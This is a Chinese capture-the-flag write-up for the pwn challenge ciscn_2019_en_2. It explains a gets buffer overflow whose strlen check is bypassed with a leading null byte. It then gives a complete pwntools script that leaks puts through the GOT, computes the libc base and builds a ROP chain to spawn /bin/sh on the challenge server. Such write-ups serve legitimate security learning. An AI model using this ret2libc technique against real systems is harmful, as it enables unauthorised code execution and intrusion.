当前位置:网站首页>ciscn_2019_en_2
ciscn_2019_en_2
2022-06-25 22:35:00 【[mzq]】
ciscn_2019_en_2
题目地址 : https://buuoj.cn/challenges#ciscn_2019_en_2
main函数
主要是进行表单选项展示和选择,根据123来进行选项操作,关键的是encrypt函数

encrypt函数
这个函数是关键利用点
gets无限溢出,strlen对长度进行检查,但是可以被\x00绕过,然后这个函数是对输入的字符进行异或这并没有什么影响

但是程序中并无后门函数,这就需要我们泄漏libc中的system函数的地址和\bin\sh的地址来构造rop
exp
from pwn import *
from LibcSearcher import LibcSearcher
io = process('./ciscn_2019_en_2')
io = remote("node4.buuoj.cn",29425)
elf = ELF('./ciscn_2019_en_2')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
_start_addr = elf.symbols['_start']
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
payload = b'\x00'+b'a'*87+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(_start_addr)
io.sendlineafter('Input your choice!\n','1')
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
#puts_addr=u64(io.recv()[0:8])
puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print hex(puts_addr)
#libc = LibcSearcher('puts',puts_addr)
#libcbase = puts_addr - libc.dump('puts')
#print libcbase
#system_addr = libcbase + libc.dump('system')
#binsh_addr = libcbase + libc.dump('str_bin_sh')
libc = ELF("libc-2.27.so")
offset = puts_addr - libc.symbols["puts"]
system_addr = libc.symbols["system"] + offset
binsh_addr = next(libc.search("/bin/sh")) + offset
payload = b'\x00'+b'a'*87 + p64(pop_rdi) + p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)
io.sendline('1')
io.recv()
io.sendline(payload)
io.interactive()
边栏推荐
- Compile the telegraph desktop side (tdesktop) using vs2022
- CaMKIIa和GCaMP6f是一樣的嘛?
- 渲云携手英特尔,共创云渲染“芯”时代
- Precautions for cleaning PCBA board in SMT chip processing
- 什么是微服务
- Graduation season | fitting the best self in continuous exploration
- Circuit board edge removal - precautions for V-CUT splitting machine
- What is micro service
- 使用VS2022编译Telegram桌面端(tdesktop)
- Explanation of chip processing manufacturer__ What is ICT? What is the main test? Advantages and disadvantages of ICT testing?
猜你喜欢

Drag the mouse to rotate the display around an object

"Method not allowed", 405 problem analysis and solution

AD20(Altium Designer) PCB 高亮网络

鼠标拖拽围绕某个物体旋转展示

QT excellent open source project 9: qtox

CaMKIIa和GCaMP6f是一样的嘛?

机器视觉:照亮“智”造新“视”界

性能领跑云原生数据库市场!英特尔携腾讯共建云上技术生态

The development context of Ba Kong Yuan universe industry

mtb13_ Perform extract_ blend_ Super{candidate (primaryalternate) \u unique (nullable filtering \foreign\index\granulati
随机推荐
深圳台电:联合国的“沟通”之道
1-9network configuration in VMWare
Summary of common terms and knowledge in SMT chip processing industry
Openresty chapter 01 introduction and installation configuration
What is micro service
logstash丢弃没有精准匹配到文件名的日志数据
Qt之自定义带游标的QSlider
Why do we need to make panels and edges in PCB production
idea设置mapper映射文件的模板
《SQL优化核心思想》
86. (cesium chapter) cesium overlay surface receiving shadow effect (gltf model)
Wireshark's analysis of IMAP packet capturing
SSL unresponsive in postman test
Oracle RAC cluster failed to start
11.1.1 overview of Flink_ Flink overview
Law and self-regulation in the meta universe
Analyze the five root causes of product development failure
Compiler Telegram Desktop end (tdesktop) en utilisant vs2022
After being trapped by the sequelae of the new crown for 15 months, Stanford Xueba was forced to miss the graduation ceremony. Now he still needs to stay in bed for 16 hours every day: I should have e
Ffmpeg version switching